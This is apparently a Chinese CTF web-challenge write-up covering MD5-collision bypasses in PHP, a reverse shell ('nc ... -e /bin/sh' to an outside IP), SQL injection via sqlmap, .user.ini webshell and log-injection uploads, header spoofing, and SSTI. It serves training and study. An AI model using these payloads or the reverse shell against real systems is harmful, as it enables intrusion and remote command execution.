ez_md5

<?php
error_reporting(0);
highlight_file(__FILE__);


$a=$_GET['a'];
$b=$_GET['b'];
if (!($a!==$b && md5($a)===md5($b))){
    die('回家吧孩子');
}

$c=(string)$_POST['c'];
$d=(string)$_POST['d'];
if (!($c!==$d && md5($c)==md5($d))){
    die('稍微加点料');
}

$love=(string)$_POST['love'];
$ctf=(string)$_POST['ctf'];
if ($love!==$ctf && md5($love)===md5($ctf)){
    echo '都写到这里了,自己去拿flag吧';
    shell_exec($_POST['shell']);
}
GET:?a[]=1&b[]=2
POST:c=QNKCDZO&d=QLTHNDT

string强制转换参数类型为字符串

所以下面的强比较不能用数组绕过,这里考虑哈希碰撞

md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

hackbar不能接受这么长的payload,用bp

这里是shell_exec无回显

1.弹shell

shell=nc 1.95.38.189 2333 -e /bin/sh
nc -lvvp 2333

2.文件重定向

shell=cat /f*>1.txt

访问

ez_upload

发现很多被过滤,尝试其他方法,随便上传图片,后面给了一个路径,经测试是sql注入

http://43.139.51.42:38241/backend/image.php?name=

直接sqlmap即可

我们一起来下棋吧

就在源代码

新人来爆照

文件上传,可以发现是nginx服务,排除掉.htaccess的写法

这里测试.user.ini可以

1.日志注入

.user.ini还可以直接包含日志

先访问路径,随便弄个头,加入木马即可

2..user.ini包含本身

每日任务

任务一:

要点

不是GET的包——POST发包
本地IP——X-Forwarded-For
使用GZCTFBrowser浏览器——User-Agent
from hxctf.challenge.game指定请求来源网页——Referer

任务二:

确少HTTP_LOVE_CTF请求头,还要求相等于TRUE

在PHP中,当处理HTTP请求头时,服务器会将头名称转换为特定格式:去除连字符-,添加HTTP_前缀,并转为全大写。例如请求头Love-CTF: TRUE会被转换为$_SERVER['HTTP_LOVE_CTF'] = 'TRUE'

love-ctf: TRUE

任务三:

2024e1过第一个变为整数2024,过第二个变为20240+1

2024e1

任务四:

php特性中的命名规则,由于变量名中不能有.号,会强制转换成_,这里可以利用[,如果参数中出现了[,那么会将其转化为_,但是会出现转化错误,导致后面的参数名中,如果还有.号,那么将不会被转化

play[the_ctf.web=1

任务五:

?ma=1&gic[]=1

表白墙

没什么好说的,fenjing就行